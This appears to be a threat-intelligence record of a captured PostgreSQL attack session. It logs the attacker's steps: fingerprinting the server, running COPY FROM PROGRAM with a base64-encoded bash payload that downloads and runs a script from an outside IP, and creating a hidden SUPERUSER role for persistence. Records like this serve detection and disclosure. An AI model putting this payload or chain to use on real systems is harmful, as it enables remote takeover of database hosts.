PUB-2026-0305-0016

POSTGRESEvents9BehaviorYesPrimitives6Duration21s

postgres_copy_from_program_rce_with_superuser_persistencehigh

Represents a full PostgreSQL host compromise chain in which an attacker fingerprints the database server, prepares a temporary table to capture command output, executes arbitrary OS commands via COPY ... FROM PROGRAM (commonly using base64-encoded shell payloads), and subsequently establishes persistence by creating a new PostgreSQL role with LOGIN and SUPERUSER privileges. This behavior indicates successful remote command execution on the database host followed by deliberate persistence inside PostgreSQL, allowing the attacker to retain long-term administrative access even if the initial access vector is closed.

Session Events9 events · 21s

010:04:45authpostgres·md5

110:04:45sqlSHOW server_version

▸ 1 field

210:04:45sqlDROP TABLE IF EXISTS ibHEGrQl

▸ 1 field

310:04:45sqlCREATE TABLE ibHEGrQl(cmd_output text)

▸ 1 field

410:04:45sql

COPY ibHEGrQl 
FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuMTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuMTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjE2L3BnMi5zaHxiYXNoCmZp|base64 -d|bash'

▸ 1 field

510:04:45sqlSELECT * FROM ibHEGrQl

▸ 1 field

610:04:45sqlDROP TABLE IF EXISTS ibHEGrQl

▸ 1 field

710:04:46sqlSELECT * FROM pg_catalog.pg_user WHERE usename='pgg_superadmins'

▸ 1 field

810:04:46sqlCREATE ROLE pgg_superadmins WITH LOGIN SUPERUSER PASSWORD '[...]'

▸ 1 field

Matched Primitives

ID	Protocol	Events	Behavior	Primitives	Duration
PUB-2026-0305-0037	POSTGRES	3	Yes	2	0s
PUB-2026-0305-0036	POSTGRES	8	Yes	7	2s
PUB-2026-0305-0015	POSTGRES	10	Yes	7	4s